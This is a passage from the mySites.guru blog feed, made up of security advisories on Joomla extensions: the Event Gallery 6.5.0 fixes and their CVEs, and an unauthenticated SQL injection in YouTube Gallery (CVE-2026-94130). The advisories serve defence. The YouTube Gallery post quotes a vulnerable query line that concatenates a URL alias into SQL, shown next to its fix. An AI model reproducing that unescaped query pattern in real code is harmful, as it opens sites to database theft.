&lt;h2&gt;Update, 27 September 2026: all five advisories now have CVEs&lt;/h2&gt;
&lt;p&gt;The Joomla CNA published a CVE for each of the vendor’s five advisories the day after the release. Every record lists Event Gallery 1.0.0 to 6.0.0 as affected and 6.5.0 as the fix, and the CVSS 4.0 scores are the CNA’s own, so two of them differ from the vendor’s:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97164/&quot;&gt;CVE-2026-97164&lt;/a&gt; (EGSA-2026-01), path traversal in Clear Cache: 7.0 High, against the vendor’s 6.5. The &lt;code&gt;images&lt;/code&gt; parameter of the cache task could recursively delete any folder the web server can write to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97165/&quot;&gt;CVE-2026-97165&lt;/a&gt; (EGSA-2026-02), reflected XSS and open redirect through the Back link: 5.3 Medium&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100747/&quot;&gt;CVE-2026-100747&lt;/a&gt; (EGSA-2026-03), CSRF in the image upload: 5.1 Medium&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100748/&quot;&gt;CVE-2026-100748&lt;/a&gt; (EGSA-2026-04), CSRF in the cart actions: 6.9 Medium, against the vendor’s 4.3, because the CNA scores it as needing no privileges at all&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100749/&quot;&gt;CVE-2026-100749&lt;/a&gt; (EGSA-2026-05), CSRF in the backend clean-up: 5.1 Medium. The record notes that only orphaned file entries and carts older than 30 days can be deleted this way&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The guessable order identifiers have no CVE, consistent with the vendor now listing them as hardening. The mySites.guru Event Gallery rule lists all five CVE ids and is now rated High, following the Clear Cache score. The advice is unchanged: update every site to 6.5.0.&lt;/p&gt;
&lt;h2&gt;Update, 26 September 2026: the release notes now lead with security&lt;/h2&gt;
&lt;p&gt;Following the first publication of this blog post, in response, Sven Bluege rewrote the 6.5.0 release notes the same afternoon. They now open with “This is a security release. Update every site to 6.5.0.”, say that every earlier version is affected and that 6.5.0 needs Joomla 5.4 or Joomla 6, and send sites on older Joomla to a Security Advisories chapter in the manual. A new Security Fixes section lists five vulnerabilities, each with its own advisory ID and severity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EGSA-2026-01, path traversal in Clear Cache (severity 6.5). A backend user allowed to manage Event Gallery, which in Joomla’s default permissions is every Administrator and not only Super Users, could make Clear Cache delete any folder the web server can write to, up to the whole site. Our original post did not cover this one&lt;/li&gt;
&lt;li&gt;EGSA-2026-02, cross-site scripting and open redirect on the frontend upload page (6.1), affecting 3.11.4 to 6.0.0&lt;/li&gt;
&lt;li&gt;EGSA-2026-03, forged uploads (5.4)&lt;/li&gt;
&lt;li&gt;EGSA-2026-04, forged cart changes (4.3). Adding an image to the cart and removing it needed no token, so a page on another site could change a visitor’s cart&lt;/li&gt;
&lt;li&gt;EGSA-2026-05, forged clean-up in the backend (4.3)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The guessable order identifiers, the test mail button, the backend picker requests and the unescaped folder name are now listed separately as hardening without a known vulnerability, which is why the vendor counts five where we counted eight. This is the change we asked for in the last section of this post, made within hours. The sections below describe the notes as they stood when 6.5.0 came out. The advice has not changed: update every site to 6.5.0.&lt;/p&gt;
&lt;p&gt;The Joomla CNA has since published a CVE for each of the five advisories, listed in the 27 September update above.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event Gallery 6.5.0&lt;/strong&gt; fixes eight security issues, five of them now with CVEs (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97164/&quot;&gt;CVE-2026-97164&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97165/&quot;&gt;CVE-2026-97165&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100747/&quot;&gt;CVE-2026-100747&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100748/&quot;&gt;CVE-2026-100748&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100749/&quot;&gt;CVE-2026-100749&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear Cache path traversal (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-97164/&quot;&gt;CVE-2026-97164&lt;/a&gt;, 7.0 High):&lt;/strong&gt; a backend user allowed to manage Event Gallery could delete any folder the web server can write to. We missed this one in our first version of this post&lt;/li&gt;
&lt;li&gt;The upload CSRF is present in both earlier releases we checked, 5.7.8 and 6.0.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image upload CSRF:&lt;/strong&gt; neither the backend nor the frontend upload checked Joomla’s form token, so a malicious page could upload or replace images in an event through a logged-in editor. Uploads are still limited to images and mp4 video, so there is no route to running code&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reflected XSS:&lt;/strong&gt; the Back link on the frontend upload page printed a URL parameter as it came, so a crafted link could redirect an editor or run script in their session&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Guessable order IDs:&lt;/strong&gt; cart and order identifiers were derived from the creation time. Orders created before the update keep their old identifiers&lt;/li&gt;
&lt;li&gt;Several backend actions, from clean-up links to test mails, were missing token or permission checks&lt;/li&gt;
&lt;li&gt;As first released: no CVE and no Security heading. The fixes were in the Bug Fixes list, and the only highlight that mentioned them was one word: “Safer.” The vendor added a Security Fixes section the same afternoon, and the CVEs followed a day later&lt;/li&gt;
&lt;li&gt;About a third of the affected sites we monitor are on Joomla 3, where 6.5.0 will not install&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running Event Gallery below 6.5.0&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Event Gallery 6.5.0 release notes run to 8,673 words&lt;/h2&gt;
&lt;p&gt;Open the 6.5.0 release page and you see a version number, a release date, two download links and a small button labelled More information. Press it and the notes unfold: eight highlights, ten migration hints, 21 new features, 15 minor changes and 46 bug fixes, 8,673 words in all. It is well written, too. Every entry says what used to happen, what happens now and what, if anything, you need to change.&lt;/p&gt;
&lt;p&gt;What it never does is sort the entries by how much they matter. There is no Security heading. The word “vulnerability” does not appear. The eight highlights lead with buying several images at once, a new cart, PayPal Checkout and new mails for buyers, and the security work comes last, as a single bullet that starts with the word “Safer.” In the Bug Fixes list the first security entry is number 8, and the upload CSRF, the fix with the widest reach, is number 39 of 46, between a fix for the upload page of Flickr and Google Photos events and the fix for the test mail button.&lt;/p&gt;
&lt;p&gt;The entries are accurate. The one for the Back link says, in plain words, that a prepared link could “run a script in the session of the editor who clicked it”. But you only read that sentence if you expand a collapsed panel and scroll past more than 8,000 words to reach the upload fix, and at no point does the page connect any of it to an action.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;“Safer. The upload, the test mail, the clean-up links and the background requests of the backend check the form token now, and new carts and orders get identifiers which can no longer be guessed.”&lt;/p&gt;&lt;p&gt;Read as hardening. Updated with the next batch.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;“Security release. Before 6.5.0 a malicious page could upload or replace images through a logged-in editor, and a crafted link could run script in their session. Update every site now.”&lt;/p&gt;&lt;p&gt;Updated today.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The line on the left is the vendor&apos;s, word for word from the Event Gallery 6.5.0 highlights. The line on the right is ours, written from the vendor&apos;s own Bug Fixes entries and our reading of the code. They describe the same release.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Most people looking after more than a handful of Joomla sites triage extension updates by skimming the top of the notes. A release led by shop features reads as a feature release, and a feature release on a live photo shop is the kind of update that gets scheduled for a quiet week, not applied the same morning. We made the same point about &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 shipping a critical fix as “Security Update”&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;T4 Page Builder calling an open mail relay “Safer recipients”&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;AcyMailing filing two security fixes under Bug fixes&lt;/a&gt;. The Joomla project’s own &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;guidance for extension developers handling a security report&lt;/a&gt; asks for the security content to be separated out and named. The fix here is small: move the eight entries under their own heading at the top, and add one sentence saying which versions are affected and that sites should update.&lt;/p&gt;
&lt;h2&gt;What the Event Gallery 6.5.0 security fixes close&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Our reading, not our discovery&lt;/p&gt;&lt;div&gt;&lt;p&gt;Sven Bluege found and fixed these issues himself; we did not report them. We confirmed the upload, Back link and identifier findings by comparing the 5.7.8, 6.0.0 and 6.5.0 packages. The severity here was our own assessment at the time of writing; the CNA’s scores are in the 27 September update above. We are not publishing request shapes, because most installs have not updated yet.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;The Joomla image upload had no CSRF token&lt;/h3&gt;
&lt;p&gt;In 6.0.0 and 5.7.8, the upload task in both the backend and the frontend controller passed the request straight to the model. The model checked that the user had Joomla’s edit permission for Event Gallery and nothing else. It never checked the form token, the value Joomla puts in every form so the server can tell a request the user made from one another website made on their behalf.&lt;/p&gt;
&lt;p&gt;That makes the upload a classic cross-site request forgery. An editor, or a frontend publisher who uploads from the site, visits a page that posts a file to their own site’s upload task in the background, and their browser sends their session cookie with it. The file goes into the named event, and if an image of the same name is already there, it is replaced. On a photo shop that sells prints of an event, that lets an attacker swap the pictures customers are paying for.&lt;/p&gt;
&lt;p&gt;There is a limit to the damage. Event Gallery checks the extension against an allow-list of jpg, gif, png, jpeg, webp and mp4, checks the file’s actual content type as well, and cleans the file name. We found no route from this upload to running code on the server. 6.5.0 adds the token check to both controllers, and a site with &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;a template override&lt;/a&gt; of the upload layout has to update that override, because the page now passes the token to the uploader script.&lt;/p&gt;
&lt;h3&gt;The Back link on the upload page was a reflected XSS&lt;/h3&gt;
&lt;p&gt;The frontend upload page offers a Back link, and before 6.5.0 its target came from a &lt;code&gt;return&lt;/code&gt; parameter in the address, base64-decoded and printed into the page without escaping or checking. A crafted link could point Back at another website, or break out of the link and run script in the page, in the session of whoever opened it. The people who use that page are the site’s editors and publishers, so the script runs with their rights.&lt;/p&gt;
&lt;p&gt;6.5.0 only accepts a target on the site’s own domain and leaves the link out otherwise. The same page also printed an event’s folder name unescaped. Folder names saved through the backend are cleaned, so that one only matters if a name reached the database another way, and 6.5.0 escapes it too.&lt;/p&gt;
&lt;h3&gt;Cart and order identifiers could be worked out&lt;/h3&gt;
&lt;p&gt;Event Gallery built cart identifiers from PHP’s &lt;code&gt;uniqid()&lt;/code&gt;, which is derived from the current time, and turned the result into a 28-digit number. The vendor’s notes spell out the consequence: anyone who knew roughly when an order was placed could work out its identifier. They also note that the number was too large for PHP to hold as an integer, so a single careless cast anywhere could collapse every identifier into one value and show one customer another’s order.&lt;/p&gt;
&lt;p&gt;The vendor says order download links were never exposed, because they use a separate random token. From 6.5.0 new carts and orders get a short prefix followed by 16 random bytes. Carts and orders that already exist keep their old identifier, so updating does not make historic orders harder to guess.&lt;/p&gt;
&lt;h3&gt;Backend actions skipped their token and permission checks&lt;/h3&gt;
&lt;p&gt;The remaining fixes are backend actions that trusted any logged-in administrator request. The two clean-up links on the overview page, which delete orphaned files and old carts, had no form token, so a prepared link on another website could trigger them. The test mail button on email templates had no token and no edit permission check. Sync Database, Thumbnail Creator and Clear Cache carried on after the token had expired or for users who could not manage the component, and three small backend requests that fill the content plugin’s pickers and count missing thumbnails answered anyone logged into the backend. 6.5.0 checks the token and the permission on all of them.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites can install Event Gallery 6.5.0?&lt;/h2&gt;
&lt;p&gt;Only sites on Joomla 5.4 or later, or Joomla 6. Event Gallery 6.5.0 is published for those versions alone, and there is no 5.x or 4.x maintenance release with the fixes, so a site on an older Joomla core has no Event Gallery version it can update to that closes these issues. That makes the release a bigger job than it looks for a large share of the sites that need it.&lt;/p&gt;
&lt;p&gt;Across the Joomla sites connected to mySites.guru, 91% of Event Gallery installs were below 6.5.0 on the morning it came out, and 42% were on 6.0.0, the release before. Split the affected sites by Joomla core and the picture changes: 59% run Joomla 5.4 or later and can update in a couple of minutes, but about a third are on Joomla 3 and a further 7% on Joomla 4. The single most common version among those older sites is Event Gallery 4.3.2, from January 2023, the last release published for Joomla 3.10.&lt;/p&gt;
&lt;p&gt;For those sites, the extension update is the easy half. The real work is &lt;a href=&quot;https://mysites.guru/blog/joomla-3-end-of-life-agency-retainers/&quot;&gt;getting off Joomla 3&lt;/a&gt;, which has been end of life since August 2023, and any gallery and shop extension that stopped receiving fixes at the same time is one more reason to schedule it.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags Event Gallery below 6.5.0&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site twice a day. Our Joomla vulnerability database had an entry for Event Gallery below 6.5.0 on the day the release came out, so each connected site running an older component is flagged on its dashboard and in its audit, whether it runs Core or Extended. The &lt;a href=&quot;https://mysites.guru/vulnerabilities/eventgallery/&quot;&gt;Event Gallery page of our vulnerability list&lt;/a&gt; shows the rule, and the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how the flags work across every extension we track.&lt;/p&gt;
&lt;p&gt;The same audit checks the Joomla core version, which is the part that decides how much work each flagged site needs. A site on Joomla 5.4 or later can be &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;updated in bulk from one dashboard&lt;/a&gt;. A site on Joomla 3 or 4 goes on the upgrade list instead.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Joomla CMS Version Must Be Up-to-date&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/joomlaconfiguration/joomlaversion&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What should I do if I cannot update Event Gallery yet?&lt;/h2&gt;
&lt;p&gt;Reduce the number of people who can be used against the site until you can. Every issue except the order identifiers needs a logged-in editor or administrator to open a page or link that an attacker prepared, so the exposure is the set of accounts with edit rights to Event Gallery and what those people browse while they are logged in.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Review who has edit permission for Event Gallery and remove it from accounts that do not need it&lt;/li&gt;
&lt;li&gt;If no one uploads from the frontend, unpublish the frontend upload menu item&lt;/li&gt;
&lt;li&gt;Ask editors to log out of the site before browsing elsewhere, and not to open unexpected links to the upload page&lt;/li&gt;
&lt;li&gt;Compare the images in your shop events against your originals if anything looks different, and run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;full site audit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plan the Joomla upgrade that 6.5.0 needs, because none of this replaces the update&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find images you did not upload, or anything else on the site you cannot account for, &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt; covers the order of work.&lt;/p&gt;
&lt;h2&gt;What we would like from Event Gallery’s release notes&lt;/h2&gt;
&lt;p&gt;The fixes are good ones. A form token on the upload, an allow-list for the Back link target, random identifiers from &lt;code&gt;random_bytes()&lt;/code&gt; and permission checks on every backend action are the textbook answers, and the notes explain each change more clearly than most vendors manage. What is missing is a heading and a sentence.&lt;/p&gt;
&lt;p&gt;Put the security entries under their own heading, above the features. Say which versions are affected, what an attacker could do in one line each, and that sites should update now. A CVE would put the release in front of every scanner at no cost to the vendor. None of that means publishing how to exploit anything. Until then, the safest way to read an Event Gallery release is to expand More information and search the page for “token”. If you look after more than a few Joomla sites, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; will tell you which ones need the update the morning it goes out.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download/event-gallery-core/6-5-0&quot;&gt;Event Gallery Core 6.5.0 release page&lt;/a&gt; - the full release notes, behind the More information button&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.svenbluege.de/joomla-event-gallery/eventgallery-download&quot;&gt;Event Gallery downloads&lt;/a&gt; - every Core release back to 3.x&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Twenty rules for Joomla extension developers handling a security report&lt;/a&gt; - what a security release should tell the people installing it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;OWASP Cross-Site Request Forgery Prevention Cheat Sheet&lt;/a&gt; - why a form token is the standard defence&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/330.html&quot;&gt;CWE-330: Use of Insufficiently Random Values&lt;/a&gt; - the three weakness classes behind the 6.5.0 fixes&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>eventgallery</category><category>vulnerability</category><category>extensions</category><enclosure url="https://mysites.guru/img/og/blog/event-gallery-6-5-0-security-release.png" length="0" type="image/png"/></item><item><title>YouTube Gallery for Joomla: Unauthenticated SQL Injection Fixed in 5.7.3</title><link>https://mysites.guru/blog/youtube-gallery-joomla-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/youtube-gallery-joomla-sql-injection/</guid><description>CVE-2026-94130: an unauthenticated SQL injection in JoomlaBoat&apos;s YouTube Gallery for Joomla, scored 9.3 Critical. Every version below 5.7.3 is affected.</description><pubDate>Sat, 26 Sep 2026 14:16:55 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94130/&quot;&gt;CVE-2026-94130&lt;/a&gt; is an unauthenticated SQL injection in &lt;a href=&quot;https://joomlaboat.com/youtube-gallery&quot;&gt;YouTube Gallery&lt;/a&gt;, JoomlaBoat’s video gallery extension for Joomla. The Joomla CNA published it on 26 September 2026 and scored it 9.3 Critical. Every version from 1.0.0 to 5.7.2 is affected, and the fix is 5.7.3.&lt;/p&gt;
&lt;p&gt;No login is needed. The flaw sits in the public video search and in the router that maps friendly video URLs to database rows, so anyone who can load a page with a gallery on it can reach it. Update to 5.7.3. If you are on one of the old 4.x builds, there is no 4.x patch: 5.7.3 is the fix for you too.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94130/&quot;&gt;CVE-2026-94130&lt;/a&gt;Unauthenticated SQL injection in video search and routing&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Any visitor can inject SQL into the queries behind YouTube Gallery&apos;s front-end search and video URLs, and read data from the Joomla database.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Public front end&lt;/span&gt;&lt;span&gt;Versions 1.0.0 to 5.7.2&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What went wrong in YouTube Gallery’s queries&lt;/h2&gt;
&lt;p&gt;The CVE describes an injection in “video search functionality and sorting” that lets an attacker inject SQL into read queries. The two fix commits in &lt;a href=&quot;https://github.com/joomlaboat/YoutubeGallery&quot;&gt;JoomlaBoat’s public repository&lt;/a&gt; show where. Both are cases of request input being pasted into a query string between quote marks, rather than being escaped or bound.&lt;/p&gt;
&lt;p&gt;The search builds a &lt;code&gt;WHERE&lt;/code&gt; clause from the &lt;code&gt;ygsearchquery&lt;/code&gt; request parameter. Before 5.7.3 it wrapped each search term in double quotes after deleting any double quotes the visitor had typed. Stripping one character is not escaping, and SQL has more than one way to break out of a string. &lt;a href=&quot;https://github.com/joomlaboat/YoutubeGallery/commit/1f35984d&quot;&gt;The 5.7.3 fix&lt;/a&gt; passes each term through Joomla’s &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; and each column name through &lt;code&gt;$db-&amp;gt;quoteName()&lt;/code&gt; against an allowlist, which is the correct pattern.&lt;/p&gt;
&lt;p&gt;The router made the simpler version of the same mistake. &lt;a href=&quot;https://github.com/joomlaboat/YoutubeGallery/commit/e39a7b33&quot;&gt;Its fix&lt;/a&gt; is two lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Before: the alias from the URL is concatenated straight into the query&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setQuery&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; videoid &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; #__youtubegallery_videos WHERE alias=&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $alias &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&quot; LIMIT 1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// After (5.7.3): the value is quoted and escaped by the database driver&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setQuery&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; videoid &lt;/span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; #__youtubegallery_videos WHERE alias=&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($alias) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt; LIMIT 1&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A router runs on every request that uses a search-engine-friendly URL for the component, which is about as public as a Joomla code path gets. It is the same class of problem we keep finding in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;front-end endpoints across Joomla extensions&lt;/a&gt;: code written on the assumption that only the extension itself will ever call it.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If a vulnerable version was live on a site, our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;checking Joomla database security&lt;/a&gt; covers what to review afterwards.&lt;/p&gt;
&lt;h2&gt;The fix was public two months before the CVE&lt;/h2&gt;
&lt;p&gt;JoomlaBoat committed the search fix on 26 July 2026 and the router fix on 27 July, both with commit messages that say “Security: Fixed SQL injection vulnerability”. The repository is public. Anyone watching it, or diffing 5.7.2 against 5.7.3, had a map of the vulnerable code from late July. The CVE, which is what most scanners and most site owners react to, arrived on 26 September.&lt;/p&gt;
&lt;p&gt;There is one wrinkle in that history. The search fix bumped the version to 5.7.3, and the router fix went in a day later without a second bump. So a 5.7.3 package built between those two commits would include the search fix and not the router fix. We downloaded &lt;a href=&quot;https://joomlaboat.com/youtube-gallery&quot;&gt;the package JoomlaBoat serves now&lt;/a&gt;, dated September 2026, and it contains both. If you installed a 5.7.3 in late July, reinstall from the current download to be sure.&lt;/p&gt;
&lt;p&gt;A gap like that between fix and CVE is normal: vendors fix first and the paperwork follows. It does mean that “there was no CVE yet” was never the same as “no one knew”. When a vendor’s changelog or commit history says “security”, treat the update as a security update on the day it ships.&lt;/p&gt;
&lt;p&gt;Here is where the sites we monitor stand on the day the CVE was published: &lt;strong&gt;not one connected Joomla site runs YouTube Gallery 5.7.3 yet.&lt;/strong&gt; Every install we can read a version from is on an affected build.&lt;/p&gt;
&lt;h2&gt;Is my Joomla site affected by &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94130/&quot;&gt;CVE-2026-94130&lt;/a&gt;?&lt;/h2&gt;
&lt;p&gt;If a Joomla site has YouTube Gallery installed at any version below 5.7.3, yes. That includes the 5.x releases up to 5.7.2, the old 4.x free builds, and anything older. The installed component shows up in Joomla as “YouTube Gallery” or “Youtube Gallery”, with the element &lt;code&gt;com_youtubegallery&lt;/code&gt;, and its author may read JoomlaBoat.com, Ivan Komlev or Design Compass corp depending on its age. They are all the same extension.&lt;/p&gt;
&lt;p&gt;The extension ships with a content plugin, a module and an editor button, but the vulnerable queries live in the component. Updating the package to 5.7.3 fixes it. The same gallery pattern, an unauthenticated injection through a public search, is behind the &lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery flaws we disclosed&lt;/a&gt; earlier in September.&lt;/p&gt;
